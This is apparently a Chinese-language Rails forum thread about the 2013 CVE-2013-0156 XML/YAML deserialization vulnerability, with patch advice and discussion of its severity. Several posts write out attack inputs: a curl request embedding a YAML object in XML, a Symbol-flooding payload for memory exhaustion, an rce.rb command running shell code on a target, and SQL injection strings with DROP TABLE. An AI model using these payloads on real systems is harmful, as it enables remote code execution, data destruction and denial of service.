https://community.rapid7.com/community/metasploit/blog/2013/01/09/serialization-mischief-in-ruby-land-cve-2013-0156?x=1 https://groups.google.com/forum/#!topic/rubyonrails-security/61bkgvnSGTQ/discussion
连 2.3.x 都发布新版本了..
3.x 系列升级到最新版本就 OK
2.3 的升级不到最新版本可以在 config/initializers 里面加上:
ActiveSupport::CoreExtensions::Hash::Conversions::XML_PARSING.delete('symbol')
ActiveSupport::CoreExtensions::Hash::Conversions::XML_PARSING.delete('yaml')
PS. 通过这个漏洞发现两个好玩的工具:
#6 楼 @bhuztez I suck at explaining things. Wikipedia doesn’t. http://en.wikipedia.org/wiki/Secure_by_default
Rails 把 PHP 能犯的错误都犯了一遍啊,虽然说到 Rails 4 已经不是这样了。
所以,赶紧都升 Rails 4 吧...
“Ruby on Rails, the PHP of a new generation.” — beefhooked
默认模板不 escape —— Rails3 就改了啊 mass assignment 默认所有 field 都能改 ——Rails3 也改了 SQL 用自己的代码拼接字符串—— 啥?
#19 楼 @bhuztez 你说的数据库解决指的是Prepared Statements
?
Rails3.1 就有了啊
http://patshaughnessy.net/2011/10/22/show-some-love-for-prepared-statements-in-rails-3-1
#23 楼 @shooter 应该是 post 请求的 content-type
(注意不是 accept
) 为 xml 而且请求体的 xml 里面又嵌入了 yml 的话,yml 中就可以执行 SomeClass.new
或者 Class.new{include SomeModule}.new
要修改请求的 content-type
不能在浏览器里上做,大概要这样:
curl -H'content-type: application/xml' --data '<?xml version="1.0" encoding="UTF-8"?>
<b type="yaml"><![CDATA[--- !ruby/object:ActiveRecord::Base {}]]></b>' some.site/post-url
当然还要加上 cookie 或者 csrf 等参数,挺麻烦的...
#30 楼 @luikore http://blog.codeclimate.com/blog/2013/01/10/rails-remote-code-execution-vulnerability-explained/ 这里的办法可以直接 get 执行文件里的 ruby 代码,不需要 post... 刚才在本机测试代码运行成功。(rails3.2.10),2.3 的没成功,可能是中间件不一样。
这篇 blog 里的内容被改了。。执行代码被去掉了。还是好人多哇!!
https://twitter.com/homakov/status/289317965713776640
这个有意思:-)
ruby ./rce.rb http://rails.app/ '`gem update rails;touch tmp/restart.txt`'
# 所以吧,不要锁定版本号...要不雷锋想帮你也帮不到了
find_by_xxx
就是上次的问题,这里 不能注入, 你试试 User.find_by_id "1'; drop table users;"
就知道了。只是 modle 里写了 scope 的话是可能可以构造出某些条件来篡改数据 (很多人都不知道 scope 是啥呢...). 不是很重要因为这个漏洞很难利用...
这两个问题和 1.9 关系在哪里...
这次是可以通过构造一个 xml 请求体进行攻击的问题,比较严重,和 eval 无关,所有请求都有影响,赶紧升级或者加上那两行把选项关掉吧。
#46 楼 @kgen 你有哪些网站,我可以给你演示下... 问题就是嵌入 xml 的 yaml 可以执行某些代码,不用 eval 也可以的,是 yaml 的特性口牙!
#45 楼 @iBachue 1.8 也不回收 Symbol. Symbol 的问题以前就修过了,解析参数默认是不产生 Symbol 的。Symbol 内存溢出和上次的 find_by_id
没有关系...
造成内存溢出的攻击方法是造 xml 请求,xml 中嵌入 yaml, yaml 中写 Symbol:
<?xml version="1.0" encoding="UTF-8"?>
<b type="yaml">
<![CDATA[---
:a:
:ab:
:ac:
:ad:
:ae:
...
]]></b>
#51 楼 @luikore 你有什么测试代码证明 1.8 不回收 Symbol 呢?我刚才写了https://gist.github.com/4502552 可以证明 1.9 确实是不回收的,而 1.8 可以
GC.stress
i = 0
lim = 10**12
while i < lim
i.to_s.to_sym
i += 1
end
rvm use system
用 1.8.7 执行,内存一直往上长,但是如果把 to_sym
改成 dup
, 内存就稳定在 1.9 M.
附带 1.8 的详细版本
ruby 1.8.7 (2012-02-08 patchlevel 358) [universal-darwin12.0]
#67 楼 @iBachue
#68 楼 @mouse_lin
我测试了这个例子
Post.find_by_title("whatever", :select => "title FROM posts; DROP TABLE posts; --")
生成的 sql 确实是危险的
SELECT title FROM posts; DROP TABLE posts; -- FROM `posts` WHERE `posts`.`title` = 'whatever' LIMIT 1
但是 active_record 似乎不允许这样的 sql 被执行,所以上面的 ruby 代码执行后的结果是
ActiveRecord::StatementInvalid: Mysql2::Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'DROP TABLE user; -- FROM `posts` WHERE `posts`.`title` = 'whatever' LIMIT 1' at line 1: SELECT title FROM posts; DROP TABLE user; -- FROM `posts` WHERE `posts`.`title` = 'whatever' LIMIT
这个漏洞太恐怖了,只要是没升级或者没打补丁的 rails 项目绝对秒杀,可执行任意 ruby 代码 (包括 system),昨晚做完实验后吓出一身冷汗。